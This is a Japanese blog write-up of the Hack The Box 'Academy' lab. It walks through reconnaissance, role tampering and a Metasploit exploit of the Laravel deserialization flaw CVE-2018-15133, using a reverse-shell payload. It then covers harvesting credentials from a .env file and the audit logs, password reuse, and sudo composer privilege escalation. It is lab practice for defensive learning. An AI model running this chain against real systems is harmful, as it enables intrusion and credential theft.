3
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Academy【WriteUp】

Last updated at Posted at 2023-08-01

はじめに

本記事は自チームの技術力向上、攻撃者目線の醸成を目的としてHacktheBox(以下リンク参照、以降HTB)の「Academy」を解いた際のWriteupとなります。

初期探索

まずHTBのマシンでは攻略対象のIP(今回は10.10.10.215)が1つ与えられます。
このIPに対してポートスキャンを行い、空いているPortを探します。

nmap ポートスキャン

┌──(root㉿kali-linux-2022-2)-[/tmp]
└─# nmap -n -Pn -v -sS -A 10.10.10.215 --top-ports 1000
Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-28 13:45 JST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating SYN Stealth Scan at 13:45
Scanning 10.10.10.215 [1000 ports]
Discovered open port 22/tcp on 10.10.10.215
Discovered open port 80/tcp on 10.10.10.215
Completed SYN Stealth Scan at 13:45, 3.68s elapsed (1000 total ports)
Initiating Service scan at 13:45
Scanning 2 services on 10.10.10.215
Completed Service scan at 13:45, 6.42s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 10.10.10.215
Retrying OS detection (try #2) against 10.10.10.215
Retrying OS detection (try #3) against 10.10.10.215
Retrying OS detection (try #4) against 10.10.10.215
Retrying OS detection (try #5) against 10.10.10.215
Initiating Traceroute at 13:45
Completed Traceroute at 13:45, 0.21s elapsed
NSE: Script scanning 10.10.10.215.
Initiating NSE at 13:45
Completed NSE at 13:45, 5.81s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.80s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Nmap scan report for 10.10.10.215
Host is up (0.20s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 c0:90:a3:d8:35:25:6f:fa:33:06:cf:80:13:a0:a5:53 (RSA)
|   256 2a:d5:4b:d0:46:f0:ed:c9:3c:8d:f6:5d:ab:ae:77:96 (ECDSA)
|_  256 e1:64:14:c3:cc:51:b2:3b:a6:28:a7:b1:ae:5f:45:35 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Did not follow redirect to http://academy.htb/
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/28%OT=22%CT=1%CU=40289%PV=Y%DS=2%DC=T%G=Y%TM=64C3480
OS:3%P=aarch64-unknown-linux-gnu)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS
OS:=A)SEQ(SP=108%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=108%GCD=3%ISR=10A
OS:%TI=Z%CI=Z%II=I%TS=A)OPS(O1=M53CST11NW7%O2=M53CST11NW7%O3=M53CNNT11NW7%O
OS:4=M53CST11NW7%O5=M53CST11NW7%O6=M53CST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=
OS:FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M53CNNSNW7%CC=Y%Q=)T1(R=
OS:Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A
OS:%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y
OS:%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR
OS:%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RU
OS:D=G)IE(R=Y%DFI=N%T=40%CD=S)

Uptime guess: 41.918 days (since Fri Jun 16 15:44:22 2023)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 110/tcp)
HOP RTT       ADDRESS
1   205.98 ms 10.10.14.1
2   206.32 ms 10.10.10.215

NSE: Script Post-scanning.
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Initiating NSE at 13:45
Completed NSE at 13:45, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 31.82 seconds
           Raw packets sent: 1233 (58.318KB) | Rcvd: 1124 (48.462KB)

22番と80番が空いていることがわかりました。また80番portではApache/2.4.41で動いており、http://academy.htb/にリダイレクトされていることがわかります。
この設定は/etc/hostsに記載し、リダイレクトできるようにしておきます。

ブラウザアクセス

アクセスすると以下のようなページが表示されます。
スクリーンショット 2023-07-28 14.00.39.png
なにやらWebが動いてそうです。ここからこのサイトに対して更なる探索を実施します。

情報列挙

サブドメイン探索

まずはサブドメインを探索します。ffufのツールを用いてHOSTヘッダにファジングをかけてリダイレクトが行われているようなレスポンス変動(サイズなど)を観測します。
サブドメインリストは以下のリポジトリを参考にしています。

┌──(root㉿kali-linux-2022-2)-[~/work]
└─# ffuf -w ./bitquark-subdomains-top100000.txt:FUZZ -u http://academy.htb/ -H "HOST: FUZZ.academy.htb" -fs 0 -t 100

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.0.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://academy.htb/
 :: Wordlist         : FUZZ: /root/work/bitquark-subdomains-top100000.txt
 :: Header           : Host: FUZZ.academy.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

:: Progress: [100000/100000] :: Job [1/1] :: 91 req/sec :: Duration: [0:03:38] :: Errors: 0 ::

特段気になる出力はありませんでした。

ディレクトリ探索

今度はディレクトリの階層を探索していきます。dirsearchのツールを用いて探索を実施します。

┌──(root㉿kali-linux-2022-2)-[~/work]
└─# dirsearch -u http://academy.htb/

  _|. _ _  _  _  _ _|_    v0.4.2                                                                                    
 (_||| _) (/_(_|| (_| )                                                                                             
                                                                                                                    
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927

Output File: /root/.dirsearch/reports/academy.htb/-_23-07-28_14-08-17.txt

Error Log: /root/.dirsearch/logs/errors-23-07-28_14-08-17.log

Target: http://academy.htb/

[14:08:17] Starting: 
[14:08:25] 403 -  276B  - /.ht_wsr.txt                                     
[14:08:25] 403 -  276B  - /.htaccess.bak1                                  
[14:08:25] 403 -  276B  - /.htaccess.sample
[14:08:25] 403 -  276B  - /.htaccess.orig
[14:08:25] 403 -  276B  - /.htaccess.save
[14:08:25] 403 -  276B  - /.htaccess_extra
[14:08:25] 403 -  276B  - /.htaccessBAK
[14:08:25] 403 -  276B  - /.htaccessOLD
[14:08:25] 403 -  276B  - /.htaccess_sc
[14:08:25] 403 -  276B  - /.htaccess_orig
[14:08:25] 403 -  276B  - /.htaccessOLD2
[14:08:25] 403 -  276B  - /.htm                                            
[14:08:25] 403 -  276B  - /.html
[14:08:25] 403 -  276B  - /.htpasswd_test
[14:08:25] 403 -  276B  - /.htpasswds
[14:08:25] 403 -  276B  - /.httr-oauth
[14:08:27] 403 -  276B  - /.php                                            
[14:08:46] 200 -    3KB - /admin.php                                        
[14:09:04] 200 -    0B  - /config.php                                       
[14:09:14] 302 -   54KB - /home.php  ->  login.php                          
[14:09:14] 301 -  311B  - /images  ->  http://academy.htb/images/           
[14:09:14] 403 -  276B  - /images/                                          
[14:09:15] 200 -    2KB - /index.php                                        
[14:09:15] 200 -    2KB - /index.php/login/                                 
[14:09:20] 200 -    3KB - /login.php                                        
[14:09:33] 200 -    3KB - /register.php                                     
[14:09:35] 403 -  276B  - /server-status                                    
[14:09:35] 403 -  276B  - /server-status/                                   
                                                                            
Task Completed 

気になる出力がたくさん見つかりました。/admin.php/login.php/register.phpあたりは実際にPage表示があり、以下のようなPageが表示されます。

login.php
1.png
register.php
2.png
admin.php
3.png
これらのPageの動作を確認するためBurpSuiteを用いて通信を観測します。

Role設定権限のアクセス制御不備

register.phpでUserを登録する際のリクエストとレスポンスは以下のように見えます。
スクリーンショット 2023-07-28 14.20.24.png
roleidをポストしてますが、これがadmin権限の設定に関係があるかなと睨んで、別の値でPOSTしてみます。
Burp SuiteのRepeator機能を用いてroleid1に設定したリクエストを投げます。
スクリーンショット 2023-07-28 14.30.47.png
作成されたかどうかはadmin.phpにログインを試行してみるとわかります。
スクリーンショット 2023-07-28 14.31.22.png
スクリーンショット 2023-07-28 14.32.06.png
ログインに成功しました。
なにやらTodoのような表示が見えますね。サブドメインの記載があるので、このサブドメインを/etc/hostsに登録してアクセスしてみます。
スクリーンショット 2023-07-28 14.36.19.png
Laravelのエラーページが見えます。色々有益な情報が落ちてそうなので、この情報を使って何かExploitができないか考えてみます。

初期侵入ベクトル

Exploit - 考察

このページにはbase64でエンコードされたAPP_KEYが記載されています。この情報を使ってExploitできるものがないか調べていると、以下の脆弱性がヒットしました。

このCVE-2018-15133は「APP_KEYの情報を持っている攻撃者は認証なしで任意のコードを実行できる」というものです。
この脆弱性を利用してReverse Shellを確立していきます。

Exploit - CVE-2018-15133

この脆弱性のExploitがKaliのmetasploitに存在するか確認します。
search 15133辺りの検索でヒットしました。
スクリーンショット 2023-07-28 14.53.37.png
ではこのモンジュールを利用して、Exploitを実施していきます。

モジュール番号0番を指定して、show optionsで設定項目を確認します。

msf6 > use 0
msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options

Module options (exploit/unix/http/laravel_token_unserialize_exec):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   APP_KEY                     no        The base64 encoded APP_KEY string from the .env file
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       Path to target webapp
   VHOST                       no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/http/laravel_token_unserialize_exec) >

ここに各種情報を投入していきます。

msf6 exploit(unix/http/laravel_token_unserialize_exec) > set LHOST 10.10.14.119
LHOST => 10.10.14.119
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set RHOST 10.10.10.215
RHOST => 10.10.10.215
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set VHOST dev-staging-01.academy.htb
VHOST => dev-staging-01.academy.htb
msf6 exploit(unix/http/laravel_token_unserialize_exec) > set APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_KEY => dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
msf6 exploit(unix/http/laravel_token_unserialize_exec) > show options

Module options (exploit/unix/http/laravel_token_unserialize_exec):

   Name       Current Setting                               Required  Description
   ----       ---------------                               --------  -----------
   APP_KEY    dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=  no        The base64 encoded APP_KEY string from the .env file
   Proxies                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     10.10.10.215                                  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/usi
                                                                      ng-metasploit.html
   RPORT      80                                            yes       The target port (TCP)
   SSL        false                                         no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                                             yes       Path to target webapp
   VHOST      dev-staging-01.academy.htb                    no        HTTP server virtual host


Payload options (cmd/unix/reverse_perl):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.14.119     yes       The listen address (an interface may be specified)
   LPORT  4441             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/http/laravel_token_unserialize_exec) >

これでモジュールのセッティングが完了したので実際にExploitを実行します。
スクリーンショット 2023-07-28 15.22.47.png
攻撃対象のShellを取得することに成功しました。
権限的にはLaravelを動かしているwww-dataのユーザでした。

このShellでは見えにくいので、プロンプトを返すようにmeterpretershellコマンドを実行します。
※勝手にPythonのptyからbashを起動してくれて便利です。
スクリーンショット 2023-07-28 15.26.13.png

この権限ではUser.txtのフラグをゲット出来ないので探索を開始します。

横展開 - パスワードの使い回し

それっぽいファイルを片っ端から調べていきます。

www-data@academy:/var/www/html/htb-academy-dev-01/public$ cat .htaccess
cat .htaccess
<IfModule mod_rewrite.c>
    <IfModule mod_negotiation.c>
        Options -MultiViews -Indexes
    </IfModule>

    RewriteEngine On

    # Handle Authorization Header
    RewriteCond %{HTTP:Authorization} .
    RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]

    # Redirect Trailing Slashes If Not A Folder...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_URI} (.+)/$
    RewriteRule ^ %1 [L,R=301]

    # Handle Front Controller...
    RewriteCond %{REQUEST_FILENAME} !-d
    RewriteCond %{REQUEST_FILENAME} !-f
    RewriteRule ^ index.php [L]
</IfModule>

ここにはありませんでした。

www-data@academy:/var/www/html/academy$ cat .env
cat .env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost

LOG_CHANNEL=stack

DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!

...省略

この.envファイルにDBのパスワードが書かれていました。
このPasswordの文字列を使いまわししている可能性もあるので、UserのSSHログインに使えるか試してみます。
その前に/etc/passwdからユーザ名を列挙しておきます。

www-data@academy:/var/www/html/academy$ cat /etc/passwd
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
egre55:x:1000:1000:egre55:/home/egre55:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
mrb3n:x:1001:1001::/home/mrb3n:/bin/sh
cry0l1t3:x:1002:1002::/home/cry0l1t3:/bin/sh
mysql:x:112:120:MySQL Server,,,:/nonexistent:/bin/false
21y4d:x:1003:1003::/home/21y4d:/bin/sh
ch4p:x:1004:1004::/home/ch4p:/bin/sh
g0blin:x:1005:1005::/home/g0blin:/bin/sh

試してみると、cry0l1t3のユーザの権限で入ることができました。
スクリーンショット 2023-07-28 15.53.10.png
横展開完了です。この権限であればUser.txtのフラグをゲットできます。

横展開 - AuditLogへのアクセス制御不備

情報列挙

この状況から闇雲に探しても辛いので、列挙ツールを使用します。
以下のサイトからlinpeas.shをダウンロードします。

このShellをKaliの攻撃マシンから攻撃対象のマシンへwgetを用いて転送し、実行権限を与えて実行します。

cry0l1t3@academy:/tmp$ ./linpeas.sh 


                            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
                    ▄▄▄▄▄▄▄             ▄▄▄▄▄▄▄▄
             ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄
         ▄▄▄▄     ▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄
         ▄    ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄          ▄▄▄▄▄▄               ▄▄▄▄▄▄ ▄
         ▄▄▄▄▄▄              ▄▄▄▄▄▄▄▄                 ▄▄▄▄ 
         ▄▄                  ▄▄▄ ▄▄▄▄▄                  ▄▄▄
         ▄▄                ▄▄▄▄▄▄▄▄▄▄▄▄                  ▄▄
         ▄            ▄▄ ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄   ▄▄
         ▄      ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄                                ▄▄▄▄
         ▄▄▄▄▄  ▄▄▄▄▄                       ▄▄▄▄▄▄     ▄▄▄▄
         ▄▄▄▄   ▄▄▄▄▄                       ▄▄▄▄▄      ▄ ▄▄
         ▄▄▄▄▄  ▄▄▄▄▄        ▄▄▄▄▄▄▄        ▄▄▄▄▄     ▄▄▄▄▄
         ▄▄▄▄▄▄  ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄      ▄▄▄▄▄▄▄   ▄▄▄▄▄ 
          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄        ▄          ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ 
         ▄▄▄▄▄▄▄▄▄▄▄▄▄                       ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄                         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄
         ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄            ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
          ▀▀▄▄▄   ▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄ ▄▄▄▄▄▄▄▀▀▀▀▀▀
               ▀▀▀▄▄▄▄▄      ▄▄▄▄▄▄▄▄▄▄  ▄▄▄▄▄▄▀▀
                     ▀▀▀▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▀▀▀

    /---------------------------------------------------------------------------------\
    |                             Do you like PEASS?                                  |                            
    |---------------------------------------------------------------------------------|                            
    |         Get the latest version    :     https://github.com/sponsors/carlospolop |                            
    |         Follow on Twitter         :     @hacktricks_live                          |                          
    |         Respect on HTB            :     SirBroccoli                             |                            
    |---------------------------------------------------------------------------------|                            
    |                                 Thank you!                                      |                            
    \---------------------------------------------------------------------------------/                            
          linpeas-ng by carlospolop                                                                                
                                                                                                                   
ADVISORY: This script should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own computers and/or with the computer owner's permission.                       '                                        
                                                                                                                   
Linux Privesc Checklist: https://book.hacktricks.xyz/linux-hardening/linux-privilege-escalation-checklist
 LEGEND:                                                                                                           
  RED/YELLOW: 95% a PE vector
  RED: You should take a look to it
  LightCyan: Users with console
  Blue: Users without console & mounted devs
  Green: Common things (users, groups, SUID/SGID, mounts, .sh scripts, cronjobs) 
  LightMagenta: Your username

 Starting linpeas. Caching Writable Folders...

...省略

╔══════════╣ Checking for TTY (sudo/su) passwords in audit logs
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>                                                                 
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
type=TTY msg=audit(1597199293.906:84): tty pid=2520 uid=1002 auid=0 ses=1 major=4 minor=1 comm="su" data=6D7262336E5F41634064336D79210A                                                                                               

╔══════════╣ Searching passwords inside logs (limit 70)
2020-08-07 12:12:41,564 - ssh_util.py[DEBUG]: line 124: option PasswordAuthentication added with yes   


...省略

この結果から、mrb3nユーザのパスワードはmrb3n_Ac@d3my!であることがわかりました。
audit logsへのアクセス制御不備が原因で、パスワードが漏洩してしまった形です。

それではこのユーザへsuを試してみます。
スクリーンショット 2023-07-28 16.06.33.png
ログインに成功しました。

権限昇格

sudo権限の確認

sudo -lで権限を確認します。

mrb3n@academy:~$ sudo -l
[sudo] password for mrb3n: 
Matching Defaults entries for mrb3n on academy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User mrb3n may run the following commands on academy:
    (ALL) /usr/bin/composer
mrb3n@academy:~$ 

/usr/bin/composerをroot権限で実行できるようです。

このcomposerはPHPのパッケージ管理ツールで、以下のように悪用方法が簡単に調査できます。

このExploit手順を実施するだけで権限昇格が容易にできそうです。

Exploit

Exploitを実施します。
スクリーンショット 2023-07-28 16.12.54.png
Root権限に昇格できました。これでRoot.txtのフラグをゲットできます。

まとめ

以下の脆弱性により、Root権限への昇格が可能でした。

  • admin roleの設定権限のアクセス制御不備
  • CVE-2018-15133
  • パスワードの使い回し
  • AuditLogへのアクセス制御不備
  • sudo実行権限のあるコマンド
3
3
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
3

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?